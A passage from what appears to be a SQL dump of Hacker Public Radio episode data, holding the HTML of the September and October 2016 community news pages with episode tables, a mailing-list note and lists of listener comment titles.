target=\"_blank\">My new (old) tablet</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2127\" target=\"_blank\">2127</a></strong></td>\n    <td>Tue</td>\n    <td>2016-09-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2127\" target=\"_blank\">Tabletop Gaming</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2128\" target=\"_blank\">2128</a></strong></td>\n    <td>Wed</td>\n    <td>2016-09-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2128\" target=\"_blank\">Various glass bottle cutting methods</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2129\" target=\"_blank\">2129</a></strong></td>\n    <td>Thu</td>\n    <td>2016-09-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2129\" target=\"_blank\">Gnu Awk - Part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2130\" target=\"_blank\">2130</a></strong></td>\n    <td>Fri</td>\n    <td>2016-09-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2130\" target=\"_blank\">Git push to two repositories at once</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-September/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-September/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 26 comments in total.</p>\n<p>There are 4 comments on\n3 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2059#comments\" target=\"_blank\">hpr2059</a></strong>\n(2016-06-23) \"<em>More Tech, Less Magic</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=339\" target=\"_blank\">Todd Mitchell</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2059#3\" target=\"_blank\">Comment 3</a>:\nStilvoid on 2016-09-07:\n\"Seconded!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2095#comments\" target=\"_blank\">hpr2095</a></strong>\n(2016-08-12) \"<em>23 - SSL Certificates - How They Work</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2095#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2016-09-21:\n\"Different within EU\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2107#comments\" target=\"_blank\">hpr2107</a></strong>\n(2016-08-30) \"<em>Makefiles for Everyday Use</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2107#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 2016-09-01:\n\".REAL\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2107#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2016-09-01:\n\"&quot;Copy and paste programming&quot;\"</li></ul><br/>\n</li></ul>\n<p>There are 22 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2111#comments\" target=\"_blank\">hpr2111</a></strong>\n(2016-09-05) \"<em>HPR Community News for August 2016</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2111#1\" target=\"_blank\">Comment 1</a>:\nTony Hughes on 2016-09-05:\n\"Show 2111\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2111#2\" target=\"_blank\">Comment 2</a>:\nkdmurray on 2016-09-07:\n\"Audio tours\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2111#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2016-09-07:\n\"Love It\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2113#comments\" target=\"_blank\">hpr2113</a></strong>\n(2016-09-07) \"<em>sqlite and bash</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2113#1\" target=\"_blank\">Comment 1</a>:\nmackrackit on 2016-09-06:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2113#2\" target=\"_blank\">Comment 2</a>:\nJONATHAN KULP on 2016-09-08:\n\"Worst ever?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2113#3\" target=\"_blank\">Comment 3</a>:\nGumnos on 2016-09-08:\n\"Cleaning up the script\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2113#4\" target=\"_blank\">Comment 4</a>:\nKevin O&#39;Brien on 2016-09-08:\n\"Excellent show!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2113#5\" target=\"_blank\">Comment 5</a>:\nnorrist on 2016-09-08:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2113#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2016-09-10:\n\"I enjoyed this\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2115#comments\" target=\"_blank\">hpr2115</a></strong>\n(2016-09-09) \"<em>Apt Spelunking 3: nodm, cmus, and parecord</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2115#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2016-09-10:\n\"Thanks for parecord\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2116#comments\" target=\"_blank\">hpr2116</a></strong>\n(2016-09-12) \"<em>Duffer Gardening</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2116#1\" target=\"_blank\">Comment 1</a>:\nCol on 2016-09-24:\n\"Info\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2116#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-09-24:\n\"Re: Info\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2119#comments\" target=\"_blank\">hpr2119</a></strong>\n(2016-09-15) \"<em>Making Chocolate Chip Cookies</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2119#1\" target=\"_blank\">Comment 1</a>:\nSteve on 2016-09-15:\n\"How about some cajun cooking?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2119#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 2016-09-16:\n\"cajun cooking\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2119#3\" target=\"_blank\">Comment 3</a>:\nMrsXoke on 2016-09-19:\n\"You Learn Something New Everyday\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2119#4\" target=\"_blank\">Comment 4</a>:\nJonathan Kulp on 2016-09-20:\n\"Mom&#39;s wisdom\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2119#5\" target=\"_blank\">Comment 5</a>:\nguitarman on 2016-09-27:\n\"Yum!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2120#comments\" target=\"_blank\">hpr2120</a></strong>\n(2016-09-16) \"<em>WEBDUMP wmap EyeWitness phantomjs selenium</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2120#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2016-09-23:\n\"Nice\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2121#comments\" target=\"_blank\">hpr2121</a></strong>\n(2016-09-19) \"<em>Dark Cults Tabletop Game</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2121#1\" target=\"_blank\">Comment 1</a>:\nJoe on 2016-09-22:\n\"Great Show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2127#comments\" target=\"_blank\">hpr2127</a></strong>\n(2016-09-27) \"<em>Tabletop Gaming</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2127#1\" target=\"_blank\">Comment 1</a>:\nJohn on 2016-09-27:\n\"Game Inspiring\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2129#comments\" target=\"_blank\">hpr2129</a></strong>\n(2016-09-29) \"<em>Gnu Awk - Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2129#1\" target=\"_blank\">Comment 1</a>:\nalpha32 on 2016-09-29:\n\"textbook?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2129#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-09-29:\n\"Re: textbook?\"</li></ul><br/>\n</li></ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2156,'2016-11-07','HPR Community News for October 2016',4628,'HPR Community News for October 2016','\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=343\" target=\"_blank\">The Bishop</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2131\" target=\"_blank\">2131</a></strong></td>\n    <td>Mon</td>\n    <td>2016-10-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2131\" target=\"_blank\">HPR Community News for September 2016</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2132\" target=\"_blank\">2132</a></strong></td>\n    <td>Tue</td>\n    <td>2016-10-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2132\" target=\"_blank\">Gloom Tabletop Game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2133\" target=\"_blank\">2133</a></strong></td>\n    <td>Wed</td>\n    <td>2016-10-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2133\" target=\"_blank\">Compression technology part 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=343\" target=\"_blank\">The Bishop</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2134\" target=\"_blank\">2134</a></strong></td>\n    <td>Thu</td>\n    <td>2016-10-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2134\" target=\"_blank\">Shutdown Sequence Systemd</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2135\" target=\"_blank\">2135</a></strong></td>\n    <td>Fri</td>\n    <td>2016-10-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2135\" target=\"_blank\">Audio speedup script</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2136\" target=\"_blank\">2136</a></strong></td>\n    <td>Mon</td>\n    <td>2016-10-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2136\" target=\"_blank\">Fluxx Tabletop Game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2137\" target=\"_blank\">2137</a></strong></td>\n    <td>Tue</td>\n    <td>2016-10-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2137\" target=\"_blank\">Pause All The Things, Sega Genesis</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2138\" target=\"_blank\">2138</a></strong></td>\n    <td>Wed</td>\n    <td>2016-10-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2138\" target=\"_blank\">Hack the Box with Bandit</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2139\" target=\"_blank\">2139</a></strong></td>\n    <td>Thu</td>\n    <td>2016-10-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2139\" target=\"_blank\">From Org Mode to LaTeX Beamer to PDF</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2140\" target=\"_blank\">2140</a></strong></td>\n    <td>Fri</td>\n    <td>2016-10-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2140\" target=\"_blank\">Vim Plugins I Use</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2141\" target=\"_blank\">2141</a></strong></td>\n    <td>Mon</td>\n    <td>2016-10-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2141\" target=\"_blank\">Make Web Python with Flask</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2142\" target=\"_blank\">2142</a></strong></td>\n    <td>Tue</td>\n    <td>2016-10-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2142\" target=\"_blank\">Book Reviews</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2143\" target=\"_blank\">2143</a></strong></td>\n    <td>Wed</td>\n    <td>2016-10-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2143\" target=\"_blank\">Gnu Awk - Part 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2144\" target=\"_blank\">2144</a></strong></td>\n    <td>Thu</td>\n    <td>2016-10-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2144\" target=\"_blank\">An Interview with All About Code at Manchester BarCamp</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2145\" target=\"_blank\">2145</a></strong></td>\n    <td>Fri</td>\n    <td>2016-10-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2145\" target=\"_blank\">Daily notes and todo list with markdown</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2146\" target=\"_blank\">2146</a></strong></td>\n    <td>Mon</td>\n    <td>2016-10-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2146\" target=\"_blank\">Cards Against Humanity Tabletop Game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2147\" target=\"_blank\">2147</a></strong></td>\n    <td>Tue</td>\n    <td>2016-10-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2147\" target=\"_blank\">Glass cutting bottles</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2148\" target=\"_blank\">2148</a></strong></td>\n    <td>Wed</td>\n    <td>2016-10-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2148\" target=\"_blank\">The DSO138 Oscilloscope Kit Part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2149\" target=\"_blank\">2149</a></strong></td>\n    <td>Thu</td>\n    <td>2016-10-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2149\" target=\"_blank\">What is in my Pentesting Bag?</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2150\" target=\"_blank\">2150</a></strong></td>\n    <td>Fri</td>\n    <td>2016-10-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2150\" target=\"_blank\">Apollo Guidance Computer</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2151\" target=\"_blank\">2151</a></strong></td>\n    <td>Mon</td>\n    <td>2016-10-31</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2151\" target=\"_blank\">BarCamp Manchester part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-October/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-October/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 30 comments in total.</p>\n<p>There are 10 comments on\n7 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2042#comments\" target=\"_blank\">hpr2042</a></strong>\n(2016-05-31) \"<em>My podcast list</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=116\" target=\"_blank\">janedoc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2042#4\" target=\"_blank\">Comment 4</a>:\nelmussol on 2016-10-04:\n\"Re: Joyce\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2074#comments\" target=\"_blank\">hpr2074</a></strong>\n(2016-07-14) \"<em>Experience With A Neighborhood Cat</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2074#3\" target=\"_blank\">Comment 3</a>:\nAnother Frank on 2016-10-08:\n\"Touching\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2121#comments\" target=\"_blank\">hpr2121</a></strong>\n(2016-09-19) \"<em>Dark Cults Tabletop Game</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2121#2\" target=\"_blank\">Comment 2</a>:\nnotklaatu on 2016-10-02:\n\"Re: Great Show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2121#3\" target=\"_blank\">Comment 3</a>:\nrtsn on 2016-10-12:\n\"!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2125#comments\" target=\"_blank\">hpr2125</a></strong>\n(2016-09-23) \"<em>My mobile recording solution</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2125#1\" target=\"_blank\">Comment 1</a>:\nalpha32 on 2016-10-06:\n\"creeper van\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2126#comments\" target=\"_blank\">hpr2126</a></strong>\n(2016-09-26) \"<em>My new (old) tablet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2126#1\" target=\"_blank\">Comment 1</a>:\nkendal on 2016-10-19:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2127#comments\" target=\"_blank\">hpr2127</a></strong>\n(2016-09-27) \"<em>Tabletop Gaming</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2127#2\" target=\"_blank\">Comment 2</a>:\nnotklaatu on 2016-10-02:\n\"Re: Game Inspiring\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2130#comments\" target=\"_blank\">hpr2130</a></strong>\n(2016-09-30) \"<em>Git push to two repositories at once</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2130#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2016-10-02:\n\"I figured :-)\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2130#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2016-10-02:\n\"explicit push\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2130#3\" target=\"_blank\">Comment 3</a>:\nklaatu on 2016-10-08:\n\"explicit push\"</li></ul><br/>\n</li></ul>\n<p>There are 20 comments on 10 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2133#comments\" target=\"_blank\">hpr2133</a></strong>\n(2016-10-05) \"<em>Compression technology part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=343\" target=\"_blank\">The Bishop</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2133#1\" target=\"_blank\">Comment 1</a>:\nrtsn on 2016-10-12:\n\"Good episode!\"</li></ul><br/>\n</li><li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=2136#comments\" target=\"_blank\">hpr2136</a></strong>\n(2016-10-10) \"<em>Fluxx Tabletop Game</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2136#1\" target=\"_blank\">Comment 1</a>:\nJohn on 2016-10-30:\n\"Fluxx synchronicity \"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2138#comments\" target=\"_blank\">hpr2138</a></strong>\n(2016-10-12) \"<em>Hack the Box with Bandit</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2138#1\" target=\"_blank\">Comment 1</a>:\nKrayon on 2016-10-24:\n\"Good fun!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hobbypublicradio.org/eps.php?id=2139#comments\" target=\"_blank\">hpr2139</a></strong>\n(2016-10-13) \"<em>From Org Mode to LaTeX Beamer to PDF</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hobbypublicradio.org/eps.php?id=2139#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2016-10-20:\n\"cool!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2140#comments\" target=\"_blank\">hpr2140</a></strong>\n(2016-10-14) \"<em>Vim Plugins I Use</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2140#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2016-10-19:\n\"Very interesting show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2141#comments\" 